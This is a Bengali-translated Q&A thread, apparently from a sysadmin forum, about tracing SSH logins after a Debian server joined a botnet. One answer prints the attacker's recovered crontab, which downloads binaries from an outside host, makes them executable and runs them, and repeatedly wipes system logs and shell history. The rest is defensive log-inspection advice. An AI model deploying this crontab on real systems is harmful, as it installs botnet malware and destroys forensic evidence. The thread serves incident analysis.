IP ঠিকানাগুলির ইতিহাস যা ssh এর মাধ্যমে সার্ভার অ্যাক্সেস করে


42

আমার নজরে এসেছে যে আমার একটি সার্ভার হ্যাক করে একটি পরিচিত চীনা বোটনেটে সংক্রামিত হয়েছে।

এটি নিজস্ব স্ট্যাটিক আইপি (মার্কিন ঠিকানা) সহ একটি প্রোটোটাইপ / টেস্টিং ভার্চুয়াল মেশিন ছিল যাতে কোনও ক্ষতি হয় নি (এটি বের করতে আমাকে কেবল একটু সময় নিয়েছিল)।

চীন থেকে আক্রমণটির উদ্ভব হয়েছে কিনা তা জানতে এখন আমি জানতে চাই যে আইপি / গুলি অনুপ্রবেশের জন্য কীভাবে ব্যবহৃত হয়েছিল।

সার্ভারে ssh এ প্রাপ্ত সংযোগগুলির ইতিহাস দেখার কোনও উপায় আছে কি?

সম্পাদনা: সিস্টেমটি লিনাক্স ডেবিয়ান 7

উত্তর:


45

lastকমান্ডের আউটপুট দেখুন এবং একটি ফাঁকা জায়গার পরিবর্তে কোনও আইপি ঠিকানা বা হোস্টনামের সাহায্যে কিছু এসেছিল। যদি sshdএই সিস্টেমে এটি করার একমাত্র উপায় হয় তবে আপনি সেখানে যান।

বিকল্পভাবে (যদি এই Linux হয়), আপনি পরীক্ষা করতে পারবেন /var/log/secure(আরএইচ ভিত্তিক ডিস্ট্রো দিকে) অথবা /var/log/auth.log(ডেবিয়ান ভিত্তিক ডিস্ট্রো দিকে) যেখানে sshdসাধারণত সংযোগ ট্র্যাক রাখতে হবে প্রণীত এমনকি যদি তারা সফল লগইন ফলে না (যা হিট utmp/ wtmp, যা যা lastথেকে পড়বে)। উদাহরণ:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

আইআইআরসি সোলারিসের sshd(যা অগত্যা ওপেনএসএসএইচ নাও হতে পারে sshd) এই তথ্যটিতে লগ ইন করবে/var/adm/messages

সম্পাদনা করুন:

@डरবার্ট একটি দুর্দান্ত পয়েন্ট করেছেন। এটি মনে রাখা জরুরী যে কোনও সিস্টেমে, যদি আপনার অতিরিক্ত ব্যবহারকারীর অ্যাকাউন্টটি আপোস করা হয়, তবে আক্রমণকারী দ্বারা লগ ফাইলগুলি /var/log/wtmpবা /var/adm/messagesসংশোধন করার মতো সমস্ত বেট বন্ধ রয়েছে । আপনি যদি লগগুলি অফ-সার্ভারটিকে কোনও নিরাপদ স্থানে সরিয়ে দেন তবে এটি প্রশমিত করা যেতে পারে।

উদাহরণস্বরূপ, একটি দোকানে আমি কাজ করতাম আমাদের কাছে একটি "অডিট ভল্ট" মেশিন ছিল যা সুরক্ষিত ছিল যাতে কেবলমাত্র ডাটা সেন্টারের বিভিন্ন সার্ভার থেকে নিরীক্ষার লগ ফাইলগুলি পাওয়া যায়। আমি ভবিষ্যতে একই ধরণের সেটআপ করার পরামর্শ দেব (যেহেতু "আমার কাছে একটি টেস্ট মেশিন রয়েছে" শোনার মতো আপনি কোনও বড়-ইশ দোকানে চালাচ্ছেন)


7
আপনার উত্তরটি প্রায় সমস্ত কিছু জুড়ে তাই আমি নিজের নিজস্বটি যুক্ত করতে চাই না ... তবে দয়া করে "আক্রমণকারী যদি শিকড় অর্জন করে থাকে তবে বেশিরভাগ কনফিগারেশনে বাক্সে কোনও লগিং ডেটা সত্যিই বিশ্বাস করা যায় না of , রুট হিসাবে সহজেই লগ সম্পাদনা করতে পারে। "
ডারোবার্ট

1
@ আর্ডারবার্ট, আপনি যে পরামর্শ দিয়েছিলেন তার সাথে আমি কিছু বিবরণ যুক্ত করেছি :)
রমেশ

অপেক্ষা করুন, '/ var / লগ / সুরক্ষিত' ডেবিয়ানে নেই, এটি রেড হ্যাট বিকৃত।
সেক্কো

@ সেকো দুজনকে অন্তর্ভুক্ত করার জন্য উত্তর সম্পাদনা করেছেন।
ব্র্যাচলে

14

সার্ভারে ssh এ প্রাপ্ত সংযোগগুলির ইতিহাস দেখার কোনও উপায় আছে কি?

এটি আপনাকে একটি তালিকা দেবে:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*/\1/' | sort -u

তারপর আপনি ব্যবহার করতে পারেন geoiplookupথেকে geoip-binহোস্ট নাম বা IP ঠিকানা থেকে দেশকে যেতে প্যাকেজ।


দরকারী +1। আপনি সময় এবং তারিখ প্রদর্শন করার জন্য আদেশটি আপডেট করতে পারেন?
এডুয়ার্ড ফ্লোরিইনসকু

3
@ এডওয়ার্ড ফ্লোরাইনস্কু দুঃখিত, আমার sedদক্ষতা thatশ্বর নয়। আরও জটিল কিছু করার জন্য, পাইথন বা ডেডিকেটেড লগ পার্সার ব্যবহার করুন। তবে আপনি এটি চেষ্টা করে দেখতে পারেন:zgrep sshd /var/log/auth.log* -h |grep -F 'Failed password'
টর্কেল বিজারসন-ল্যাঞ্জেন

6

ঠিক আছে, যেমনটি প্রত্যাশিত এবং @ জোয়েল ডেভিস বলেছিলেন, সমস্ত লগ মুছে ফেলা হয়েছিল, তবে একটি ফাইল ছিল যা @ রমেশ উল্লেখ করেছিলেন যে রুট ব্যবহারকারীকে অ্যাক্সেস করার কিছু চেষ্টা রয়েছে তবে কয়েকবার সঠিক পাসওয়ার্ড প্রবেশ করতে ব্যর্থ হয়েছে, তারপরে সংযোগ বিচ্ছিন্ন অনেকগুলি পুনরায় চেষ্টা করে।

আমি তিনটি ঠিকানাতে একটি ট্রেস্রোলেট চালিয়েছিলাম এবং দুটি চীন থেকে এবং অন্যটি পাকিস্তানের; এগুলি আইপি:

221.120.224.179
116.10.191.218
61.174.51.221

সমঝোতার পরে সার্ভারের মধ্যে যে বোটনেট ইনজেকশন দেওয়া হয়েছিল সে সম্পর্কে আরও তথ্য:

হ্যাকাররা 7 এক্সিকিউটেবল কার্যকর করার জন্য ক্রোনট্যাব সম্পাদনা করে যা প্রতিটি x পরিমাণ সময়, সমস্ত সিপিইউ ব্যবহার করে, সর্বোচ্চ সার্ভারের নেটওয়ার্ক আউটপুট ব্যবহার করে, তবে কেবল মারা যায় die এছাড়াও তারা যুক্ত রেখাগুলি লুকানোর জন্য 100 বার ক্রোনট্যাবে রিডমি যুক্ত করে, তাই যখন আপনি করবেন তখন crontab -lলুকানো রেখাগুলির সাহায্যে রেডমে স্প্যাম হবে। এটির প্রতিরোধ করার জন্য, আমি ব্যবহার করেছি crontab -l | grep -v '^#'এবং এখানে এই আদেশটির আউটপুট রয়েছে:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

আপনি দেখতে পাচ্ছেন, সমস্ত লগ ফাইল সাফ হয়ে গেছে, এই কারণেই আমি প্রচুর তথ্য উদ্ধার করতে সক্ষম হই নি।

এটি পুরো সার্ভারটি (সমস্ত ভিএম) নীচে এনেছে যা সাইটগুলিতে এবং প্রক্সমক্সে সময়সীমা তৈরি করে। এখানে একটি গ্রাফ রয়েছে (স্পাইকগুলি বোটনেটকে সক্রিয়ভাবে ডিডো'ইং বোঝায় এবং নেটওয়ার্কটি লক্ষ্য করে): বোটনেট ক্রিয়াকলাপ

ফলস্বরূপ আমি সমস্ত সংযোগগুলি ব্লক করতে ফায়ারওয়ালে সম্পূর্ণ চীনা আইপি অ্যাড্রেস যুক্ত করব (আমার কোনও চীনা ব্যবহারকারী নেই যাতে আমার যত্ন নেই), আমি দূরবর্তী রুট লগইনগুলিও অস্বীকার করব এবং দীর্ঘ জটিল ব্যবহার করব পাসওয়ার্ড। আমি সম্ভবত ssh পোর্ট পরিবর্তন করতে এবং পাশাপাশি বেসরকারী ssh কী ব্যবহার করব।


3
এটি বেশ ভয়ঙ্কর জিনিস - তারা কীভাবে আপনার সিস্টেমে অ্যাক্সেস করেছে কোনও ধারণা এটি কি কোনও দুর্বল পাসওয়ার্ডের বিরুদ্ধে হিংসাত্মক শক্তি ছিল?
ব্যবহারকারী 35581

3

এই উত্তর থেকে , আমি নীচের তথ্য দেখতে।

এসএসএইচ সার্ভার সম্পর্কে কথা বলছি, আমি আপনাকে কমান্ড লাইন সমাধান দেব।

ব্যবহারকারীর লগইন এবং লগআউটগুলি ট্র্যাক করুন । এটি সহজ, ফাইলটির /var/log/auth.logএই তথ্য থাকা উচিত।

এই ব্যবহারকারীদের ক্রিয়াকলাপ ট্র্যাক করুন : যদি তারা কিছুটা নির্দোষ হয় তবে .bash_historyআপনি তাদের হোম ডিরেক্টরিতে ফাইলটি পরীক্ষা করতে পারেন । আপনি যে আদেশগুলি কার্যকর করেছিলেন তার একটি তালিকা আপনি দেখতে পাবেন। অবশ্যই সমস্যাটি হ'ল তারা এই ফাইলটি মুছতে বা সম্পাদনা করতে পারে।

ব্যবহারকারীদের লগগুলি মুছতে বাধা : ব্যবহারকারীদের স্পর্শ করতে সক্ষম হওয়া উচিত নয় auth.logbash_historyআপনার সাথে খেলতে বাধা দেওয়ার জন্য কয়েক কৌশল অবলম্বন করা উচিত।

ব্যবহারকারী যদি রুট অ্যাক্সেস পেতে পরিচালনা করেন? : আপনি মাতাল. যদি সে ভুল না করে তবে সে তার সমস্ত পদক্ষেপ গোপন করতে সক্ষম হবে।

এছাড়াও, এই উত্তর থেকে , আমরা SSH_CLIENTভেরিয়েবলটি ব্যবহার করে কোনও ক্লায়েন্টের আইপি ঠিকানা দেখতে পারি ।

এছাড়াও এই উত্তর থেকে , আমি দেখতে পাচ্ছি যে এই ফাইলগুলিতে ssh ইতিহাস সংরক্ষণ করা যেতে পারে।

ছাড়াও /var/log/lastlog, সেখানে 3 ফাইল /var/runএবং /var/log: utmp, wtmpএবং btmp, যা ব্যর্থ লগইন বর্তমান লগইন (এবং অতিরিক্ত তথ্য) সম্পর্কে তথ্য, ঐতিহাসিক ও ধরে থাকুন। বিস্তারিত বিবরণের জন্য উইকি দেখুন । আপনি সাধারণ সম্পাদকদের সাহায্যে ফাইলগুলি সম্পাদনা করতে পারবেন না, তবে সেগুলি মুছতে পারেন।


1

সর্বশেষতম 10 টি ব্যবহারকারীর মেশিনে লগ ইন করার সহজ কমান্ড last|head

সমস্ত ব্যবহারকারী পেতে কেবল lastকমান্ড ব্যবহার করুন


1

এই মেশিনটি আপোস করা হয়েছে। এর অর্থ এটির যে কোনও ডেটা, historicalতিহাসিক বা বর্তমান, আর বিশ্বাস করা যায় না।

সংক্ষেপে, উত্তর না হয়। আপনি নিশ্চিত হতে পারবেন না যে আপনি এই মেশিনে রেকর্ড হওয়া কোনও লগ ফাইল থেকে উত্সের ঠিকানাটি পেয়েছেন।

মুছুন এবং পুনরায় ইনস্টল করুন। এবং প্যাচ।


1

পাসওয়ার্ড সহ শুধুমাত্র সফল লগইন প্রচেষ্টা দেখতে:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'

1

ডিবিয়ানদের জন্য পরীক্ষার অনুসন্ধানটি কিছুটা আলাদা শব্দযুক্ত

zgrep sshd /var/log/auth.log* -h |grep -F 'session opened for user'
আমাদের সাইট ব্যবহার করে, আপনি স্বীকার করেছেন যে আপনি আমাদের কুকি নীতি এবং গোপনীয়তা নীতিটি পড়েছেন এবং বুঝতে পেরেছেন ।
Licensed under cc by-sa 3.0 with attribution required.